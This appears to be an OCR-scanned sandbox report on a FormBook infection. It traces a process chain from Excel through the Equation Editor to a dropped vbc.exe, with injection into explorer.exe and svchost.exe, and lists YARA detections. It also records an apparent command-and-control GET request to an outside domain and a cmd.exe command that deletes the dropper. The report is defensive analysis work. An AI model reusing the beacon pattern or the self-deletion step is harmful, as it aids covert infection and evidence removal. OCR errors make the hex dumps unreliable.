Sep 15, 2021 732
11:15:02.884202957 CEST

Code Manipulations

Statistics

Behavior

System Behavior

Direction

IN

Source Port

49169

Direction

ouT

Click to jump to process

Data

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 15 Sep 2021 09:14:57 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6139ed55-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

192.0.78.25 80 C:\Windows\explorer.exe

Data

GET /imi7/?8pGdYd7=v40PSvG6dxhfiDW6HF6SNM8N8NyagVc5G1UDhWfIc2g0yYxGB1DXDxzdmmmhzDSPz7MbgA=
=&edrh=onDxljzxvz HTTP/1.1

Host: www.absolutalibertas.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Wed, 15 Sep 2021 09:15:02 GMT

Content-Type: text/html

Content-Length: 162

Connection: close

Location: https://www.absolutalibertas.com/imi7/?8pGdYd7=v40PSvG6dxhfiDw6HF6SNM8N8NyagVc5G1UDhWfJc2g
0yYxGB1DXDxzdmmmhzDSPz7MbgA==&edrh=onDxljzxvz

X-ac: 2.hhn _dfw

Data Raw: 3¢ 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3¢ 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61
6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3¢ 63 65 6e 74 65 72 3e 3¢
68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa
3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3¢ 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68
74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1
></center><hr><center>nginx</center></body></html>

Analysis Process: EXCEL.EXE PID: 3064 Parent PID: 596

General
Copyright Joe Security LLC 2021
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Start time: 11:12:20

Start date: 15/09/2021
Path: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit): false
Commandline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase: 0x13f780000
File size: 28253536 bytes
MDS5 hash: D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: moderate
File Activities Show Windows behavior
File Written
Registry Activities Show Windows behavior

Key Created

Key Value Created

Key Value Modified

Analysis Process: EQNEDT32.EXE PID: 1528 Parent PID: 596

General

Start time: 11:12:43

Start date: 15/09/2021

Path: C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE

Wow64 process (32bit): true

Commandline: ‘C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Imagebase: 0x400000

File size: 543304 bytes

MD5 hash: A87236E214F6D42A65F5DEDAC816AECS

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Registry Activities Show Windows behavior
Key Created

Analysis Process: vbc.exe PID: 940 Parent PID: 1528

General

Start time: 11:12:47

Start date: 15/09/2021

Path: C:\Users\Public\vbc.exe
Wow64 process (32bit): true

Commandline: 'C:\Users\Public\vbc.exe'
Imagebase: 0xf70000
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File size: 687616 bytes

MDS5 hash: 9F2C198407F1A7D058C06CC174817DB6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000002.478266756.0000000003429000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000006.00000002.478266756.0000000003429000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000002.478266756.0000000003429000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000006.00000002.477878823.0000000002470000.00000004.00000001.sdmp, Author:

Joe Security
Reputation: low
File Activities Show Windows behavior
File Read
Analysis Process: vhc.exe PID: 2648 Parent PID: 940
General
Start time: 11:12:51
Start date: 15/09/2021
Path: C:\Users\Public\vbc.exe
Wow64 process (32bit): true
Commandline: C:\Users\Public\vbc.exe
Imagebase: 0xf70000
File size: 687616 bytes
MD5 hash: 9F2C198407F1A7D058C06CC174817DB6
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.514291085.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000007.00000002.514291085.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.514291085.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.513518262.0000000000330000.00000040.00020000.sdmp, Author:
Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000007.00000002.513518262.0000000000330000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.513518262.0000000000330000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.513195165.0000000000130000.00000040.00020000.sdmp, Author:
Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000007.00000002.513195165.0000000000130000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.513195165.0000000000130000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group
Reputation: low
File Activities Show Windows behavior
File Read
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Analysis Process: explorer.exe PID: 1764 Parent PID: 2648

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

11:12:53

15/09/2021

C:\Windows\explorer.exe

false

C:\Windows\Explorer.EXE

0xffa10000

3229696 bytes
38AE1B3C38FAEF56FE4907922F0385BA
true

true

Programmed in:

Yara matches: .

Reputation: high

File Activities

C, C++ or other language

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000000.503060559.000000000968B000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000008.00000000.503060559.000000000968B000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000000.503060559.000000000968B000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000000.494897496.000000000968B000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000008.00000000.494897496.000000000968B000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000000.494897496.000000000968B000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Show Windows behavior

Analysis Process: svchost.exe PID: 2820 Parent PID: 1764

General

Start time: 11:13:05

Start date: 15/09/2021

Path: C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit): true

Commandline:

C:\Windows\SysWOW64\svchost.exe

Imagebase: 0x830000

File size: 20992 bytes

MDS5 hash: 54A47F6B5E09A77E61649109C6A08866
Has elevated privileges: true

Has administrator privileges: true

Programmed in:
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C, C++ or other language
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Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.681191038.0000000000080000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000002.681191038.0000000000080000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.681191038.0000000000080000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.681249318.0000000000150000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000002.681249318.0000000000150000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.681249318.0000000000150000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.681218220.0000000000120000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000002.681218220.0000000000120000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.681218220.0000000000120000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate

File Activities Show Windows behavior

File Read

Analysis Process: cmd.exe PID: 1840 Parent PID: 2820

General

Start time: 11:13:09

Start date: 15/09/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Deleted

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

true

/c del 'C:\Users\Public\vbc.exe'
0x4a3f0000

302592 bytes
AD7B9C14083B52BC532FBA5948342B98
true

true

C, C++ or other language

high

Show Windows behavior
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